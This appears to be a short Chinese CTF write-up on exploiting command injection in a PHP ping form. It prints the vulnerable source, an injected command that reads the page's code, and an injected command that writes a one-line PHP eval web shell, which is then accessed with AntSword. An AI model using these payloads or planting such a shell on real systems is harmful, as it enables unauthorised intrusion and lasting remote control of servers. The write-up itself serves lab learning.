我一看 原来是 命令执行
原理分析 服务端脚本文件使用了 敏感的系统函数 而且 其中参数能受到攻击者 控制 导致攻击者可以构造恶意代码 在服务器端进行恶意代码执行 包括 获取webshell 之后可进行一系列危害巨大的操作
这里 有时候需要考虑到服务器端是什么操作系统 判断也很简单 改变 URL 中的随便一个小写字符为大写 判断是否出错 记住 Linux 对大小写敏感 windows对大小写不明那
这里可以看到当前目录下没有 flag.php
我们可以先看下index.php 看看过滤了什么
127.0.0.1;base64 index.php
将 Index.php 进行base64 编码输出
获取源码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>command execution</title>
<link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />
</head>
<body>
<h1>PING</h1>
<form class="form-inline" method="post">
<div class="input-group">
<input style="280px;" id="target" type="text" class="form-control" placeholder="请输入需要ping的地址" aria-describedby="basic-addon1" name="target">
</div>
<br/>
<br/>
<button style="280px;" class="btn btn-default">PING</button>
</form>
<br /><pre>
<?php
if (isset($_POST['target'])) {
system("ping -c 3 ".$_POST['target']);
}
?>
</pre></body>
</html>
发现 并没有任何 过滤 所以我们完全可以 写shell
127.0.0.1;echo '<?php @eval($_POST['cmd']); ?>' > hack.php
将一句话写进hack.php
蚁剑 连接
虽然我一猜就在根目录 但是 用查找命令找还是浪费了很多时间 因为对文件查找命令不太 熟练 只知道find 是不行的
怪不得 之前 直接用 find / -name "flag*" 难找